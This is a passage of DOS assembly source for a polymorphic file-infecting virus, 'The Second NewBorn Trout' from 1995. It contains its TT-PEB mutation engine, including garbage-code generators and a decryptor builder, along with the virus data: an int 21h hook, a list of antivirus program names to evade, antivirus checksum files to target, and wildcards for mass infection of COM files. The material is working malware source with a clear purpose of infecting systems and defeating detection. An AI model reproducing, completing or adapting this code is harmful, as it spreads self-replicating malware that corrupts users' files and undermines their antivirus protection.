                dw      offset garb_c6c
                dw      offset garb_c6d
                dw      offset garb_c6e
                dw      offset garb_c6f
                dw      offset garb_c70
                dw      offset garb_c71
                dw      offset garb_c72
                dw      offset garb_c73
                dw      offset garb_c74
                dw      offset garb_c75
                dw      offset garb_c76
                dw      offset garb_c77
                dw      offset garb_c78
                dw      offset garb_c79
                dw      offset garb_c7a
                dw      offset garb_c7b
                dw      offset garb_c7c
                dw      offset garb_c7d
                dw      offset garb_c7e
                dw      offset garb_c7f
                dw      offset garb_c80
                dw      offset garb_c81
                dw      offset garb_c82
                dw      offset garb_c83
                dw      offset garb_c84
                dw      offset garb_c9c
                dw      offset garb_c85
                dw      offset garb_c86
                dw      offset garb_c87
                dw      offset garb_c28
                dw      offset garb_c88
                dw      offset garb_c89
                dw      offset garb_c8a
                dw      offset garb_c8b
                dw      offset garb_c8c
                dw      offset garb_c8d
                dw      offset garb_c8e
                dw      offset garb_c8f
                dw      offset garb_c90
                dw      offset garb_c91
                dw      offset garb_c92
                dw      offset garb_c93
                dw      offset garb_c94
                dw      offset garb_c95
                dw      offset garb_c96
                dw      offset garb_c97
                dw      offset garb_c98
                dw      offset garb_c99
                dw      offset garb_c9a
                dw      offset garb_c9b
                dw      offset garb_c26
                dw      offset garb_c9d
                dw      offset garb_c9e
                dw      offset garb_c9f
                dw      offset garb_ca0
                dw      offset garb_ca1
                dw      offset garb_ca2
                dw      offset garb_ca3
                dw      offset garb_ca4
                dw      offset garb_ca5
                dw      offset garb_ca6
                dw      offset garb_ca7
                dw      offset garb_ca8
                dw      offset garb_ca9
                dw      offset garb_caa
                dw      offset garb_cab
                dw      offset garb_cac
                dw      offset garb_cad
                dw      offset garb_cae
                dw      offset garb_caf
                dw      offset garb_c25
                dw      offset garb_cb0
                dw      offset garb_cb1
                dw      offset garb_cb2
                dw      offset garb_cb3
                dw      offset garb_cb4
                dw      offset garb_cb5
                dw      offset garb_cb6
                dw      offset garb_cb7
                dw      offset garb_cb8
                dw      offset garb_cb9
                dw      offset garb_cbc
                dw      offset garb_cbd
                dw      offset garb_cbe
                dw      offset garb_cbe
                dw      offset garb_cbf
                dw      offset garb_cbf
                dw      offset garb_cc0
                dw      offset garb_cc0
                dw      offset garb_cc1
                dw      offset garb_cc1
                dw      offset garb_cc2
                dw      offset garb_cc2
                dw      offset garb_cc3
                dw      offset garb_cc3
                dw      offset garb_cc4
                dw      offset garb_cc4
                dw      offset garb_cc5
                dw      offset garb_cc5
                dw      offset garb_cc6
                dw      offset garb_cc6
                dw      offset garb_cc7
                dw      offset garb_cc7
                dw      offset garb_cc8
                dw      offset garb_cc8
                dw      offset garb_cc9
                dw      offset garb_cc9
                dw      00h                     ; end marker

; End of table with garbage constructs offsets

garb_cf0:
;
; looks like
;       jmp short foo1
;         _rndnr
;       foo1:
;
                mov     al,0ebh                 ; jmp short
                stosb
loc_122:
                call    get_random
		and	ax,7
		cmp	al,0
                je      loc_122
                stosb                           ; store the offset
		mov	cx,ax
locloop_123:
                call    get_random
                stosb                           ; fill with random data
                loop    locloop_123
                retn

garb_cf1:
;
; looks like
;       jmpc foo1
;         _garbage
;       foo1:
;
                mov     al,[spec_cnst]
                mov     byte ptr [spec_cnst],0  ; lock generation of spec
		push	ax
                mov     al,[some_lock]
                mov     byte ptr [some_lock],0
		push	ax
loc_124:
                call    get_random
		and	al,0Fh
		cmp	al,2
                jb      loc_124
		cmp	al,7
                ja      loc_124
                or      al,70h
                stosb                           ; do some sort of conditional
                                                ; jump
                add     di,1
		push	di
		mov	al,0Fh
		call	sub_37
		pop	bx
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-1],al            ; cnd jump offset
		pop	ax
                mov     [some_lock],al
		pop	ax
                mov     [spec_cnst],al
		retn
garb_cf2:
;
; looks like
;       jcxz foo1
;         _garbage
;       foo1:
;
                mov     al,[spec_cnst]
                mov     byte ptr [spec_cnst],0
		push	ax
                mov     al,[some_lock]
                mov     byte ptr [some_lock],0
		push	ax
                mov     al,0e3h                 ; jcxz opcode
                stosb
		add	di,1
		push	di
		mov	al,0Fh
		call	sub_37
		pop	bx
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-1],al            ; jcxz jump offset
		pop	ax
                mov     [some_lock],al
		pop	ax
                mov     [spec_cnst],al
		retn
garb_cf3:
;
; looks like:
;       call foo1
;         _garbage
;       jmp a_foo1
;      foo1:
;         _garbage
;       ret
;         _rndnr
;      a_foo1:
;
                mov     al,[spec_cnst]
                mov     byte ptr [spec_cnst],0
		push	ax
                call    get_random
                mov     al,0e8h                 ; call opcode
                stosb
		add	di,2
		push	di
		mov	al,3
                call    garbager
                mov     al,0ebh                 ; jmp short opcode
                stosb
		add	di,1
		pop	bx
		push	di
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-2],ax            ; adress to be call-ed
		mov	al,7
                call    sub_37                  ; garbage
                mov     al,0C3h                 ; ret opcode
                stosb
                call    get_random
		and	ax,7
		cmp	ax,0
                je      loc_126
		mov	cx,ax

locloop_125:
                call    get_random
                stosb
                loop    locloop_125

loc_126:
		pop	bx
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-1],al            ; adress for the jmp short
                                                ; after the call-ed
                                                ; "subroutine"
		pop	ax
                mov     [spec_cnst],al
		retn
garb_cf4:
;
; looks like
;       push cs
;       call foo1
;         _garbage
;       jmp a_foo1
;      foo1:
;         _garbage
;       retf
;         _rndnr
;      a_foo1:
;
                mov     al,[spec_cnst]
                mov     byte ptr [spec_cnst],0
		push	ax
                mov     al,0eh                  ; push cs opcode
                stosb
		mov	al,7
                call    garbager
                mov     al,0e8h                 ; call opcode
                stosb
		add	di,2
		push	di
		mov	al,3
                call    garbager
                mov     al,0ebh                 ; jmp that will jump the
                stosb                           ; call-ed subroutine
		add	di,1
		pop	bx
		push	di
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-2],ax            ; adress for the call
		mov	al,7
                call    sub_37                  ; garbage
                mov     al,0cbh                 ; retf opcode
                stosb
                call    get_random
		and	ax,7
		cmp	ax,0
                je      loc_128
		mov	cx,ax
locloop_127:
                call    get_random
                stosb
                loop    locloop_127
loc_128:
		pop	bx
		mov	ax,di
		sub	ax,bx
                mov     es:[bx-1],al            ; the offset for the jmp
		pop	ax
                mov     [spec_cnst],al
		retn
garb_cf5:
;
; looks like
;       push reg_x
;         _garbage
;       pop  reg_x
;
                call    garb_rr1f
		push	ax
                or      al,50h                  ; push base opcode
                stosb
		mov	al,0Fh
		call	sub_37
		pop	ax
                or      al,58h                  ; pop base opcode
                stosb
		retn

; Garbage instruction construction table
; Every entry in this table is used to create some kind of garbage. The dbs
; are interpreted byte by byte by a TT-PEB routine. There is some sorta
; "compiler" of garbage in TT-PEB. More in the poly description :-)

garb_c00        db      000h,090h,0ffh
garb_c01        db      000h,0fbh,0ffh
garb_c02        db      000h,0fah,0ffh
garb_c03        db      000h,0f9h,0ffh
garb_c04        db      000h,0f8h,0ffh
garb_c05        db      000h,0fdh,0ffh
garb_c06        db      000h,0fch,0ffh
garb_c07        db      000h,0f5h,0ffh
garb_c08        db      02eh,000h,0ffh,000h,02fh,0ffh
garb_c0a        db      02eh,004h,0ffh,000h,09fh,0ffh
garb_c0c        db      000h,09eh,0ffh
garb_c0d        db      02fh,000h,0ffh,000h,037h,0ffh
garb_c0f        db      02fh,000h,0ffh,000h,03fh,0ffh
garb_c11        db      02fh,000h,0ffh,001h,002h,0d4h,00ah,0ffh
garb_c13        db      02fh,000h,0ffh,001h,002h,0d5h,00ah,0ffh
garb_c15        db      02eh,000h,0ffh,02fh,006h,0ffh,031h,000h,0ach,0ffh
garb_c18        db      02eh,000h,0ffh,02fh,006h,0ffh,02fh,007h,0ffh,031h
                db      000h,0a6h,0ffh
garb_c1c        db      02fh,007h,0ffh,031h,000h,0aeh,0ffh
garb_c1e        db      02eh,000h,0ffh,000h,0d7h,0ffh
garb_c20        db      02eh,004h,0ffh,000h,098h,0ffh
garb_c22        db      02fh,002h,0ffh,000h,099h,0ffh
garb_c24        db      032h,0ffh,02fh,001h,0ffh,004h,00ch,002h,0e0h,000h
                db      0feh,0ffh
garb_c27        db      02fh,000h,0ffh,029h,00bh,090h,0ffh
garb_c29        db      01fh,00bh,050h,029h,00bh,058h,0ffh
garb_c2a        db      004h,00ch,018h,006h,029h,00bh,058h,0ffh
garb_c2b        db      014h,00bh,0b0h,005h,0ffh
garb_c2c        db      000h,080h,014h,00bh,0c0h,005h,0ffh
garb_c2d        db      000h,080h,019h,00bh,0d0h,005h,0ffh
garb_c2e        db      000h,080h,014h,00bh,0e8h,005h,0ffh
garb_c2f        db      000h,080h,019h,00bh,0d8h,005h,0ffh
garb_c30        db      000h,080h,00fh,00bh,0f8h,005h,0ffh
garb_c31        db      000h,080h,014h,00bh,0f0h,005h,0ffh
garb_c32        db      000h,080h,014h,00bh,0e0h,005h,0ffh
garb_c33        db      000h,080h,014h,00bh,0c8h,005h,0ffh
garb_c34        db      000h,082h,014h,00bh,0c0h,005h,0ffh
garb_c35        db      000h,082h,019h,00bh,0d0h,005h,0ffh
garb_c36        db      000h,082h,014h,00bh,0e8h,005h,0ffh
garb_c37        db      000h,082h,019h,00bh,0d8h,005h,0ffh
garb_c38        db      000h,082h,00fh,00bh,0f8h,005h,0ffh
garb_c39        db      000h,082h,014h,00bh,0f0h,005h,0ffh
garb_c3a        db      000h,082h,014h,00bh,0e0h,005h,0ffh
garb_c3b        db      000h,082h,014h,00bh,0c8h,005h,0ffh
garb_c3c        db      000h,088h,01ah,00bh,0c0h,0ffh
garb_c3d        db      000h,000h,01ah,00bh,0c0h,0ffh
garb_c3e        db      000h,010h,01ah,00bh,0c0h,0ffh
garb_c3f        db      000h,028h,01ah,00bh,0c0h,0ffh
garb_c40        db      000h,018h,01ah,00bh,0c0h,0ffh
garb_c41        db      000h,038h,01ah,00bh,0c0h,0ffh
garb_c42        db      000h,030h,01ah,00bh,0c0h,0ffh
garb_c43        db      000h,020h,01ah,00bh,0c0h,0ffh
garb_c44        db      000h,008h,01ah,00bh,0c0h,0ffh
garb_c45        db      000h,08ah,012h,00bh,0c0h,0ffh
garb_c46        db      000h,002h,012h,00bh,0c0h,0ffh
garb_c47        db      000h,012h,012h,00bh,0c0h,0ffh
garb_c48        db      000h,02ah,012h,00bh,0c0h,0ffh
garb_c49        db      000h,01ah,012h,00bh,0c0h,0ffh
garb_c4a        db      000h,03ah,012h,00bh,0c0h,0ffh
garb_c4b        db      000h,032h,012h,00bh,0c0h,0ffh
garb_c4c        db      000h,022h,012h,00bh,0c0h,0ffh
garb_c4d        db      000h,00ah,012h,00bh,0c0h,0ffh
garb_c4e        db      000h,086h,01ch,00bh,0c0h,0ffh
garb_c4f        db      000h,0feh,014h,00bh,0c0h,0ffh
garb_c50        db      000h,0feh,014h,00bh,0c8h,0ffh
garb_c51        db      000h,0f6h,00fh,00bh,0c0h,005h,0ffh
garb_c52        db      000h,084h,010h,00bh,0c0h,0ffh
garb_c53        db      000h,084h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c54        db      000h,084h,013h,003h,0ffh
garb_c55        db      000h,0f6h,014h,00bh,0d0h,0ffh
garb_c56        db      000h,0f6h,014h,00bh,0d8h,0ffh
garb_c57        db      000h,0d0h,019h,00bh,0c8h,0ffh
garb_c58        db      000h,0d0h,019h,00bh,0c0h,0ffh
garb_c59        db      000h,0d0h,019h,00bh,0e8h,0ffh
garb_c5a        db      000h,0d0h,019h,00bh,0e0h,0ffh
garb_c5b        db      000h,0d0h,019h,00bh,0f8h,0ffh
garb_c5c        db      000h,0d0h,019h,00bh,0d0h,0ffh
garb_c5d        db      000h,0d0h,019h,00bh,0d8h,0ffh
garb_c5e        db      000h,0d2h,019h,00bh,0c8h,0ffh
garb_c5f        db      000h,0d2h,019h,00bh,0c0h,0ffh
garb_c60        db      000h,0d2h,019h,00bh,0e8h,0ffh
garb_c61        db      000h,0d2h,019h,00bh,0e0h,0ffh
garb_c62        db      000h,0d2h,019h,00bh,0f8h,0ffh
garb_c63        db      000h,0d2h,019h,00bh,0d0h,0ffh
garb_c64        db      000h,0d2h,019h,00bh,0d8h,0ffh
garb_c65        db      030h,000h,08ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c66        db      030h,000h,002h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c67        db      030h,000h,012h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c68        db      030h,000h,02ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c69        db      030h,000h,01ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6a        db      030h,000h,03ah,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6b        db      030h,000h,038h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6c        db      030h,000h,032h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6d        db      030h,000h,022h,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6e        db      030h,000h,00ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh
garb_c6f        db      030h,000h,08ah,01dh,003h,0ffh
garb_c70        db      030h,000h,002h,01dh,003h,0ffh
garb_c71        db      030h,000h,012h,01dh,003h,0ffh
garb_c72        db      030h,000h,02ah,01dh,003h,0ffh
garb_c73        db      030h,000h,01ah,01dh,003h,0ffh
garb_c74        db      030h,000h,03ah,013h,003h,0ffh
garb_c75        db      030h,000h,038h,013h,003h,0ffh
garb_c76        db      030h,000h,032h,01dh,003h,0ffh
garb_c77        db      030h,000h,022h,01dh,003h,0ffh
garb_c78        db      030h,000h,00ah,01dh,003h,0ffh
garb_c79        db      024h,00bh,0b8h,005h,005h,0ffh
garb_c7a        db      000h,081h,029h,00bh,0c0h,005h,005h,0ffh
garb_c7b        db      000h,081h,029h,00bh,0d0h,005h,005h,0ffh
garb_c7c        db      000h,081h,029h,00bh,0e8h,005h,005h,0ffh
garb_c7d        db      000h,081h,029h,00bh,0d8h,005h,005h,0ffh
garb_c7e        db      000h,081h,01fh,00bh,0f8h,005h,005h,0ffh
garb_c7f        db      000h,081h,024h,00bh,0f0h,005h,005h,0ffh
garb_c80        db      000h,081h,024h,00bh,0e0h,005h,005h,0ffh
garb_c81        db      000h,081h,024h,00bh,0c8h,005h,005h,0ffh
garb_c82        db      000h,083h,029h,00bh,0c0h,005h,0ffh
garb_c83        db      000h,083h,029h,00bh,0d0h,005h,0ffh
garb_c84        db      000h,083h,029h,00bh,0e8h,005h,0ffh
garb_c9c        db      000h,083h,029h,00bh,0d8h,005h,0ffh
garb_c85        db      000h,083h,01fh,00bh,0f8h,005h,0ffh
garb_c86        db      000h,083h,024h,00bh,0f0h,005h,0ffh
garb_c87        db      000h,083h,024h,00bh,0e0h,005h,0ffh
garb_c28        db      000h,083h,024h,00bh,0c8h,005h,0ffh
garb_c88        db      000h,089h,02ah,00bh,0c0h,0ffh
garb_c89        db      000h,001h,02ah,00bh,0c0h,0ffh
garb_c8a        db      000h,011h,02ah,00bh,0c0h,0ffh
garb_c8b        db      000h,029h,02ah,00bh,0c0h,0ffh
garb_c8c        db      000h,019h,02ah,00bh,0c0h,0ffh
garb_c8d        db      000h,039h,02ah,00bh,0c0h,0ffh
garb_c8e        db      000h,031h,02ah,00bh,0c0h,0ffh
garb_c8f        db      000h,021h,02ah,00bh,0c0h,0ffh
garb_c90        db      000h,009h,02ah,00bh,0c0h,0ffh
garb_c91        db      000h,08bh,022h,00bh,0c0h,0ffh
garb_c92        db      000h,003h,022h,00bh,0c0h,0ffh
garb_c93        db      000h,013h,022h,00bh,0c0h,0ffh
garb_c94        db      000h,02bh,022h,00bh,0c0h,0ffh
garb_c95        db      000h,01bh,022h,00bh,0c0h,0ffh
garb_c96        db      000h,03bh,022h,00bh,0c0h,0ffh
garb_c97        db      000h,033h,022h,00bh,0c0h,0ffh
garb_c98        db      000h,023h,022h,00bh,0c0h,0ffh
garb_c99        db      000h,00bh,022h,00bh,0c0h,0ffh
garb_c9a        db      000h,087h,02ch,00bh,0c0h,0ffh
garb_c9b        db      029h,00bh,040h,0ffh
garb_c26        db      029h,00bh,048h,0ffh
garb_c9d        db      000h,0f7h,01fh,00bh,0c0h,005h,005h,0ffh
garb_c9e        db      000h,085h,020h,00bh,0c0h,0ffh
garb_c9f        db      000h,085h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_ca0        db      000h,0f7h,024h,00bh,0d0h,0ffh
garb_ca1        db      000h,0f7h,029h,00bh,0d8h,0ffh
garb_ca2        db      000h,0d1h,029h,00bh,0c8h,0ffh
garb_ca3        db      000h,0d1h,029h,00bh,0c0h,0ffh
garb_ca4        db      000h,0d1h,029h,00bh,0e8h,0ffh
garb_ca5        db      000h,0d1h,029h,00bh,0e0h,0ffh
garb_ca6        db      000h,0d1h,029h,00bh,0f8h,0ffh
garb_ca7        db      000h,0d1h,029h,00bh,0d0h,0ffh
garb_ca8        db      000h,0d1h,029h,00bh,0d8h,0ffh
garb_ca9        db      000h,0d3h,029h,00bh,0c8h,0ffh
garb_caa        db      000h,0d3h,029h,00bh,0c0h,0ffh
garb_cab        db      000h,0d3h,029h,00bh,0e8h,0ffh
garb_cac        db      000h,0d3h,029h,00bh,0e0h,0ffh
garb_cad        db      000h,0d3h,029h,00bh,0f8h,0ffh
garb_cae        db      000h,0d3h,029h,00bh,0d0h,0ffh
garb_caf        db      000h,0d3h,029h,00bh,0d8h,0ffh
garb_c25        db      030h,000h,08bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb0        db      030h,000h,003h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb1        db      030h,000h,013h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb2        db      030h,000h,02bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb3        db      030h,000h,01bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb4        db      030h,000h,03bh,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb5        db      030h,000h,039h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb6        db      030h,000h,033h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb7        db      030h,000h,023h,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb8        db      030h,000h,00bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh
garb_cb9        db      000h,08dh,02dh,003h,0ffh
garb_cbc        db      000h,08dh,02dh,00bh,040h,005h,0ffh
garb_cbd        db      000h,08dh,02dh,00bh,080h,005h,005h,0ffh
garb_cbe        db      032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,00bh,0cdh,021h
                db      0ffh
garb_cbf        db      032h,0ffh,02eh,004h,0ffh,001h,004h,0b4h,00dh,0cdh,021h
                db      0ffh
garb_cc0        db      032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,019h,0cdh,021h
                db      0ffh
garb_cc1        db      032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
                db      001h,004h,0b4h,02ah,0cdh,021h,0ffh
garb_cc2        db      032h,0ffh,02eh,004h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
                db      001h,004h,0b4h,02ch,0cdh,021h,0ffh
garb_cc3        db      032h,0ffh,02fh,000h,0ffh,02fh,003h,0ffh,02fh,001h,0ffh
                db      001h,004h,0b4h,030h,0cdh,021h,0ffh
garb_cc4        db      032h,0ffh,02fh,000h,0ffh,02eh,002h,0ffh,001h,005h,0b8h
                db      000h,033h,0cdh,021h,0ffh
garb_cc5        db      032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,054h,0cdh,021h
                db      0ffh
garb_cc6        db      032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh
                db      001h,004h,0b4h,003h,0cdh,010h,0ffh
garb_cc7        db      032h,0ffh,02fh,000h,0ffh,02eh,007h,0ffh,001h,004h,0b4h
                db      00fh,0cdh,010h,0ffh
garb_cc8        db      032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h
                db      000h,0cdh,013h,0ffh
garb_cc9        db      032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h
                db      001h,0cdh,013h,0ffh

; Registers at TT-PEB call (saved poly parameters)
tt_saved_sp     dw      0
tt_saved_ss     dw      0
tt_saved_dx     dw      0
tt_saved_ds     dw      0
tt_saved_cx     dw      0
tt_saved_bp     dw      0
tt_saved_si     dw      0
tt_saved_ax     dw      0

pntr_reg        db      0FFh    ; Register used as pointer (FF = not set yet)
pntr_pos        dw      000h    ; Position in memory where pointer assignment
                                ; is done
cntr_reg        db      0FFh    ; Register used as counter (FF = not set yet)
oper_reg        db      0FFh    ; Register used for opers (FF = not set yet)

                db      0

dec_loop_start  dw      000h    ; Pointer at beginning of the decryption loop
pntr_chdone     db      0       ; FFh if code to update the pointer in the
                                ; decr loop hasn't been already generated.
                                ; 00h pointer update already done
cntr_chdone     db      0       ; FFh if code to update the counter in the
                                ; decr loop hasn't been already generated.
                                ; 00h counter update already done
encr_pnt        dw      000h    ; Pointer at beginning of encrypted code after
                                ; decryptor
mate_pos        dw      000h    ; Position on the math operation
math_oc         db      00h     ; Opcode of the decryptor (the inverse of
                                ; the encryptor)
mathpos         dw      000h    ; Position of the math operation (again)
spec_cnst       db      0FFh    ; FFh can create, 00h can't create
some_lock       db      0FFh    ; FFh can create, 00h can't create
decr_init       db      0FFh    ; 00h building main decrypt. loop, FFh not yet
                                ; this three varialbes are used to limit in
                                ; some circumstances the generation of some
                                ; kind of code (for example a call in another
                                ; call construct and soo on)

                db      'STACK STACK STACK STACK STACK STACK '
                db      'STACK STACK STACK STACK STACK STACK '
                db      'STACK STACK STACK STACK STACK STACK '
                db      'STACK STACK STACK STACK STACK STACK '
                db      'STACK STACK STACK STACK STACK STACK '
                db      'STACK STACK STACK STACK '

tt_stack:
; TT-PEB stack grows (backwards :) ) from here

int21h_jump     db      0e9h                            ; jmp to int21h handler
                dw      offset int21h_handler - 103h    ; in memory (so the -)
                db      '2T'                            ; 2Trout marker

virus_message:
                db      'This is "The Second NewBorn Trout" virus',0dh,0ah
                db      'Programmed in the city of Milan, North Italy',0dh,0ah
                db      '[C] The Tricky Trout 1995', 0dh, 0ah
                db      'Mutation Engine: TT-PEB '
                db      '(Tricky Trout Plurimorphic Encryptor Builder) '
                db      'version 2.01 (TPE standard)',0dh,0ah

orig_bytes      db      0cdh,020h,090h,090h,090h
com_suffix      db      'COM',0,0

os_files        db      'IBMBIO.','IBMDOS.','COMMAND.', 0
av_names        db      'SCAN.','NETSCAN.','CLEAN.','VSHIELD.'
                db      'F-PROT.','VSAFE.','MSAV.','CPAV.'
                db      'NAV.','TBAV.','TBSCAN.','VDS.','NOVI.'
                db      'AVP.','-V.','-VPRO.','VIREX.','AVSCAN.'
                db      'VI-SPY.','GUARD.','FINDVIRU.','TNT.','TNTAV.'
                db      'HTSCAN.','NEMESIS.','NOD.','ITAV.','VI.'
                db      'VIRIT.','IM.','WIN.','TD.','DEBUG.', 0

crc_files       db      'CHKLIST.MS', 0
		db	'CHKLIST.CPS', 0
		db	'ANTI-VIR.DAT', 0
		db	'\SCANCRC.CRC', 0
		db	'\_CHK.CHK', 0
                db      '\NAV_._NO',0
crc_files_end   db      0

fastfile1       db      'C:*.COM', 0            ; fastinfection wildcards
fastfile2       db      'C:\DOS\KEYB.COM', 0    ; for the installation on
fastfile3       db      'C:\DOS\*.COM', 0       ; the new system :)
fastfile4       db      '*.COM', 0

poly_in_mem     db      0       ; 00h means it is run normally from file
                                ; 01h means the virus is executed from a poly
                                ;     generation in memory (when an AV is going
                                ;     to be run). the 01h is at the same time
                                ;     used as the value where the seg:off of
                                ;     the jump to int21h is, this is at
                                ;     virussegment:1)
poly_segmem     dw      0000h   ; segment of the virus in memory at
                                ; disactivation when an AV started

encvir_dx       dw      0                       ; seg:off of the encrypted
encvir_ds       dw      0                       ; virus in memory
orig_int21h     dw      0000h, 0000h            ; seg:off of original int 21h

int24_off       dw      0000h
int24_seg       dw      0000h

fast_cntr       db      0                       ; infected files during fast
                                                ; infection
good_inf        db      0                       ; 01h last fast infection was
                                                ; succesfull, 00h it wasn't
finf_name       dw      0000h, 0000h            ; DS:DX on filename that is
                                                ; going to be infected
orig_att        dw      00h                     ; original file attributes

f_time          db      000h
; -> Virus end on disk ! <-

tsnbt_fend:
                db      00h
f_date          dw      00h                     ; original file date
f_length        dw      00h                     ; original file length
mem_buff        db      1eh     dup (?)
buff_1          db      12h     dup (?)
buff_2          db    3336h     dup (?)
mem_end:

seg_a		ends

                end     tsnbt_start

